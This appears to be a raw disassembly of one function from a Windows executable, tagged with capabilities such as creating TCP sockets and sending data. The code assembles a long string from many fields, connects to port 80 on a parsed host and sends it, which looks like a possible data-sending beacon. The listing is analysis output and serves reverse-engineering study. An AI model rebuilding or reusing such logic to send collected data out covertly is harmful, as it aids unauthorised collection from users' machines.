Function at 0x402f10
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Send data
Send data on socket

Disassembly:
push ebx
push esi
push edi
push ebp
push eax
mov eax, 0x12
add esp, 0xfffff004
push eax
dec eax
jne 0x402f1a
mov eax, dword [esp + 0x12000]
add esp, 0xfffff658
lea ebp, [esp + 0x1080c]
lea esi, [esp + 0xc]
mov ebx, 0x408234
push 0x4034e0
push ebp
call sub.kernel32.dll_lstrcpyA_1
push 0x4034e4
push ebp
call sub.kernel32.dll_lstrcatA_1
mov ecx, 0x4034e8
mov edx, esi
mov eax, ebx
call fcn.004022a4
push esi
push ebp
call sub.kernel32.dll_lstrcatA_1
push 0x4034ec
push ebp
call sub.kernel32.dll_lstrcatA_1
mov ecx, 0x4034e8
mov edx, esi
lea eax, [ebx + 0x20]
call fcn.004022a4
push esi
push ebp
call sub.kernel32.dll_lstrcatA_1
push 0x4034f0
push ebp
call sub.kernel32.dll_lstrcatA_1
mov ecx, 0x4034e8
mov edx, esi
lea eax, [ebx + 0x40]
call fcn.004022a4
push esi
push ebp
call sub.kernel32.dll_lstrcatA_1
push 0x4034f4
push ebp
call sub.kernel32.dll_lstrcatA_1
mov ecx, 0x4034e8
mov edx, esi
lea eax, [ebx + 0x60]
call fcn.004022a4
push esi
push ebp
call sub.kernel32.dll_lstrcatA_1
push 0x4034f8
push ebp
call sub.kernel32.dll_lstrcatA_1
mov ecx, 0x4034e8
mov edx, esi
lea eax, [ebx + 0x80]
call fcn.004022a4
push esi
push ebp
call sub.kernel32.dll_lstrcatA_1
push 0x4034fc
push ebp
call sub.kernel32.dll_lstrcatA_1
lea eax, [ebx + 0xa0]
push eax
push ebp
call sub.kernel32.dll_lstrcatA_1
lea eax, [ebx + 0xc0]
push eax
push ebp
call sub.kernel32.dll_lstrcatA_1
lea eax, [ebx + 0xe0]
push eax
push ebp
call sub.kernel32.dll_lstrcatA_1
lea eax, [ebx + 0x100]
push eax
push ebp
call sub.kernel32.dll_lstrcatA_1
lea eax, [ebx + 0x120]
push eax
push ebp
call sub.kernel32.dll_lstrcatA_1
lea eax, [ebx + 0x140]
push eax
push ebp
call sub.kernel32.dll_lstrcatA_1
push 0x403500
push ebp
call sub.kernel32.dll_lstrcatA_1
mov ecx, 0x4034e8
mov edx, esi
lea eax, [ebx + 0x1c0]
call fcn.004022a4
push esi
push ebp
call sub.kernel32.dll_lstrcatA_1
push 0x403504
push ebp
call sub.kernel32.dll_lstrcatA_1
mov ecx, 0x4034e8
mov edx, esi
lea eax, [ebx + 0x1e0]
call fcn.004022a4
push esi
push ebp
call sub.kernel32.dll_lstrcatA_1
push 0x403508
push ebp
call sub.kernel32.dll_lstrcatA_1
mov ecx, 0x4034e8
mov edx, esi
lea eax, [ebx + 0x200]
call fcn.004022a4
push esi
push ebp
call sub.kernel32.dll_lstrcatA_1
push 0x40350c
push ebp
call sub.kernel32.dll_lstrcatA_1
mov ecx, 0x4034e8
mov edx, esi
lea eax, [ebx + 0x220]
call fcn.004022a4
push esi
push ebp
call sub.kernel32.dll_lstrcatA_1
push 0x403510
push ebp
call sub.kernel32.dll_lstrcatA_1
mov ecx, 0x4034e8
mov edx, esi
lea eax, [ebx + 0x240]
call fcn.004022a4
push esi
push ebp
call sub.kernel32.dll_lstrcatA_1
push 0x403514
push ebp
call sub.kernel32.dll_lstrcatA_1
lea eax, [ebx + 0x260]
push eax
push 0x403518
push esi
call sub.user32.dll_wvsprintfA_1
push esi
push ebp
call sub.kernel32.dll_lstrcatA_1
push 0x40351c
push ebp
call sub.kernel32.dll_lstrcatA_1
lea eax, [ebx + 0x264]
push eax
push 0x403518
push esi
call sub.user32.dll_wvsprintfA_1
push esi
push ebp
call sub.kernel32.dll_lstrcatA_1
push 0x403520
push ebp
call sub.kernel32.dll_lstrcatA_1
lea eax, [ebx + 0x268]
push eax
push 0x403518
push esi
call sub.user32.dll_wvsprintfA_1
push esi
push ebp
call sub.kernel32.dll_lstrcatA_1
push 0x403524
push ebp
call sub.kernel32.dll_lstrcatA_1
lea eax, [ebx + 0x26c]
push eax
push 0x403518
push esi
call sub.user32.dll_wvsprintfA_1
push esi
push ebp
call sub.kernel32.dll_lstrcatA_1
push 0x403528
push ebp
call sub.kernel32.dll_lstrcatA_1
mov ecx, 0x4034e8
mov edx, esi
lea eax, [ebx + 0x270]
call fcn.004022a4
push esi
push ebp
call sub.kernel32.dll_lstrcatA_1
push 0x40352c
push ebp
call sub.kernel32.dll_lstrcatA_1
mov ecx, 0x4034e8
mov edx, esi
lea eax, [ebx + 0x290]
call fcn.004022a4
push esi
push ebp
call sub.kernel32.dll_lstrcatA_1
push 0x403530
push ebp
call sub.kernel32.dll_lstrcatA_1
mov ecx, 0x4034e8
mov edx, esi
mov eax, 0x408128
call fcn.004022a4
push esi
push ebp
call sub.kernel32.dll_lstrcatA_1
push 0x403534
push ebp
call sub.kernel32.dll_lstrcatA_1
mov ecx, 0x4034e8
mov edx, esi
mov eax, 0x407f28
call fcn.004022a4
push esi
push ebp
call sub.kernel32.dll_lstrcatA_1
xor eax, eax
mov dword [esp], eax
lea eax, [esp + 0x80c]
mov edx, 0x10000
call fcn.00402ed0
push 0xfffffffffffffffc
push 1
lea edx, [esp + 8]
mov eax, 0x407a14
mov ecx, 4
call fcn.00402ac4
mov eax, dword [esp]
neg eax
sub eax, 4
sub eax, 4
push eax
push 1
lea edx, [esp + 0x10]
mov eax, 0x407a14
mov ecx, 4
call fcn.00402ac4
mov eax, dword [esp]
neg eax
sub eax, 4
sub eax, 4
sub eax, 0x100
push eax
push 1
lea edx, [esp + 0x814]
mov eax, 0x407a14
mov ecx, pe_nt_image_headers32
call fcn.00402ac4
mov eax, dword [esp + 8]
push eax
push 0x11
lea edx, [esp + 0x814]
lea eax, [esp + 0x814]
mov ecx, pe_nt_image_headers32
call fcn.00402414
mov dword [esp], 1
lea ebx, [esp + 0x100c]
push esp
push 0x403538
push esi
call sub.user32.dll_wvsprintfA_1
push 0x800
push 0x407d20
mov ecx, ebx
mov edx, esi
mov eax, 0x403540
call fcn.00402b70
mov edx, ebx
mov eax, ebx
call fcn.0040234c
inc dword [esp]
add ebx, 0x800
cmp dword [esp], 0x20
jne 0x4032c2
mov dword [esp], 1
lea ebx, [esp + 0x100c]
push ebx
call sub.kernel32.dll_lstrlenA_1
mov edi, eax
mov edx, 0x403548
mov eax, ebx
xor ecx, ecx
call fcn.00402134
mov dword [esp + 4], eax
mov edx, 0x40354c
mov eax, ebx
mov ecx, 2
call fcn.00402134
mov esi, eax
cmp edi, 9
jle 0x4034c1
cmp dword [esp + 4], 5
jne 0x4034c1
cmp esi, 8
jle 0x4034c1
lea eax, [esp + 0x1100c]
mov edx, 0x800
call fcn.00402ed0
lea eax, [esp + 0x1180c]
mov edx, 0x800
call fcn.00402ed0
mov ecx, esi
sub ecx, 7
dec ecx
lea edx, [ebx + 7]
lea eax, [esp + 0x1100c]
call fcn.00402ec8
mov ecx, edi
sub ecx, esi
inc ecx
lea edx, [ebx + esi - 1]
lea eax, [esp + 0x1180c]
call fcn.00402ec8
push 0x403550
lea eax, [esp + 0x12010]
push eax
call sub.kernel32.dll_lstrcpyA_1
lea eax, [esp + 0x1180c]
push eax
lea eax, [esp + 0x12010]
push eax
call sub.kernel32.dll_lstrcatA_1
push ebp
lea eax, [esp + 0x12010]
push eax
call sub.kernel32.dll_lstrcatA_1
push 0x403558
lea eax, [esp + 0x12010]
push eax
call sub.kernel32.dll_lstrcatA_1
push 0x403564
lea eax, [esp + 0x12010]
push eax
call sub.kernel32.dll_lstrcatA_1
lea eax, [esp + 0x1100c]
push eax
lea eax, [esp + 0x12010]
push eax
call sub.kernel32.dll_lstrcatA_1
push 0x40356c
lea eax, [esp + 0x12010]
push eax
call sub.kernel32.dll_lstrcatA_1
lea eax, [esp + 0x1280c]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
push 6
push 1
push 2
call sub.wsock32.dll_socket
mov esi, eax
lea eax, [esp + 0x1299c]
mov edx, 0x10
call fcn.00402ed0
mov word [esp + 0x1299c], 2
push 0x50
call sub.wsock32.dll_htons
mov word [esp + 0x1299e], ax
lea eax, [esp + 0x1100c]
call fcn.00402d50
mov dword [esp + 0x129a0], eax
push 0x10
lea eax, [esp + 0x129a0]
push eax
push esi
call sub.wsock32.dll_connect
push 0
lea eax, [esp + 0x12010]
push eax
call sub.kernel32.dll_lstrlenA_1
push eax
lea eax, [esp + 0x12014]
push eax
push esi
call sub.wsock32.dll_send
push esi
call sub.wsock32.dll_closesocket
call sub.wsock32.dll_WSACleanup
push 0x1f4
call sub.kernel32.dll_Sleep_1
inc dword [esp]
add ebx, 0x800
cmp dword [esp], 2
jne 0x40330c
add esp, 0x129ac
pop ebp
pop edi
pop esi
pop ebx
ret